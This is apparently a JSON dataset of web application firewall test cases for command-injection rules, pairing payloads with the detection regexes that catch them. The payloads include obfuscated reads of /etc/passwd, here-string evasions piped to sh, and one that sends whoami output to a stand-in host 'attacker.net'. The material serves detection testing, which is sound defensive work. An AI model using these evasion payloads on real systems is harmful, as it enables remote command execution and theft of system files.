"REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "Test second backslash match (/[^/]+?[*?`\\\\']) with: cat /etc/p\\asswd\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "host=www.google.com;/bin/ca?+/et*/passwd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "Test correct logging" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "exec=c4%3D%5C%20%3Bc3%3Dt%3Bc2%3Da%3Bc1%3Dc%3Ba1%3D%2F%3Ba2%3De%3Ba3%3Dt%3Ba4%3Dc%3Ba5%3D%2F%3Ba6%3Dp%3Ba7%3Da%3Ba8%3Ds%3Ba9%3Ds%3Ba10%3Dw%3Ba11%3Dd%3B%24c1%24c2%24c3%24c4%24a1%24a2%24a3%24a4%24a5%24a6%24a7%24a8%24a9%24a10%24a11%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "Test variable assignment ('cat /etc/passwd' assigned via individual variables, cat in reverse order)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cmd%3Da%3Dcurl%26%26b%3D%60whoami%60%26%26%24a%20attacker.net%2F%24b" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "Add test to match BB EBIDJ91T" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cmd=a%3D%2Fetc%26%26b%3D%2Fpasswd%26%26c%3Dcat%26%26%24c%20%24a%24b" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "Add test to match BB MKXQCJMX" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "https://coreruleset.org/#:~:text=generic%20attack%20detection" } ], "attack_context": { "method": "GET", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "^[^#]+", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932205", "test_description": "False positive test against syntax highlighter (generic)" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "https://www.google.com/url?q=https://example.com/path/#:~:text=Inoltre%2C%20non%20vi%20sono%20evidenze,'immaginario%20comune%20(1).&sa=U&ved=2ahUKEwjSluGs8eX9AhWiSvEDHaaEChEQFnoECAgQBQ&usg=AOvVaw1_nmpM50Zh9-mGx1DsMw7j" } ], "attack_context": { "method": "GET", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "^[^#]+", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932205", "test_description": "False positive test against fragment (scroll to text fragment)" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "https://www.google.com/?param=something#x=foo;cat$u+/etc$u/passwd" } ], "attack_context": { "method": "GET", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "#.*", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932207", "test_description": "Referer with command injection in URL Fragment" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "https://www.google.com/?param=something#x=foo;c$_at+/et$_c/pas$_swd" } ], "attack_context": { "method": "GET", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "#.*", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932207", "test_description": "Referer with command injection in URL Fragment" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "https://coreruleset.org/#:~:text=generic%20attack%20detection" } ], "attack_context": { "method": "GET", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "#.*", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932207", "test_description": "False positive test against syntax highlighter (generic)" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "https://www.google.com/url?q=https://example.com/path/#:~:text=Inoltre%2C%20non%20vi%20sono%20evidenze,'immaginario%20comune%20(1).&sa=U&ved=2ahUKEwjSluGs8eX9AhWiSvEDHaaEChEQFnoECAgQBQ&usg=AOvVaw1_nmpM50Zh9-mGx1DsMw7j" } ], "attack_context": { "method": "GET", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "#.*", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932207", "test_description": "False positive test against fragment (scroll to text fragment)" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "https://www.google.com/?param=something#x=foo;cat$u+/etc$u/passwd" } ], "attack_context": { "method": "GET", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "#.*", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932207", "test_description": "Referer with command injection in URL Fragment" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "TEST=echo | gcc7.4" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).\\|(?:[\\s\\x0b]*|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_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]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10}|(?:[\\s\\x0b&\\),<>\\|]|$).*))))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932220", "test_description": "TEST=echo | php7.4" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "TEST=echo | ${gcc7.4}gcc7.4" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).\\|(?:[\\s\\x0b]*|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]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:[\\s\\x0b&\\),<>\\|]|$).*|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10}|(?:[\\s\\x0b&\\),<>\\|]|$).*))))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932220", "test_description": "TEST=echo | ${gcc7.4}gcc7.4" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "whxami|sh+``" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).\\|(?:[\\s\\x0b]*|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\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)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10}|(?:[\\s\\x0b&\\),<>\\|]|$).*))))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932220", "test_description": "whxami|sh+``" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "echo \"foo;whxam\"i | tr x o | sh #\"\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).\\|(?:[\\s\\x0b]*|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\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\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?)?)(?:[\\s\\x0b&\\),<>\\|]|$).*|i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10}|(?:[\\s\\x0b&\\),<>\\|]|$).*))))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932220", "test_description": "Test for BB finding 9P5LL13Y\necho \"foo;whxam\"i | tr x o | sh #\"\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=cat<<\\|]|$).*|[ls][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?r[\\\"'\\)\\[\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c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?|r[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?)?)(?:[\\s\\x0b&\\),<>\\|]|$).*|i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10}|(?:[\\s\\x0b&\\),<>\\|]|$).*))))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932220", "test_description": "Block evasion using here string" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=cat<<< ifconfig | sh\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).\\|(?:[\\s\\x0b]*|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c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\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?d|x[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?z)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?|r[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?)?)(?:[\\s\\x0b&\\),<>\\|]|$).*|i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10}|(?:[\\s\\x0b&\\),<>\\|]|$).*))))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932220", "test_description": "Block evasion using here string with space" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=cat<<<'ifconfig' | sh\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).\\|(?:[\\s\\x0b]*|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?: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#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10}|(?:[\\s\\x0b&\\),<>\\|]|$).*))))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932220", "test_description": "Block evasion using here string with single quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=cat<<<\"ifconfig\" | sh\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).\\|(?:[\\s\\x0b]*|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?: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[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10}|(?:[\\s\\x0b&\\),<>\\|]|$).*))))", "negated": false } 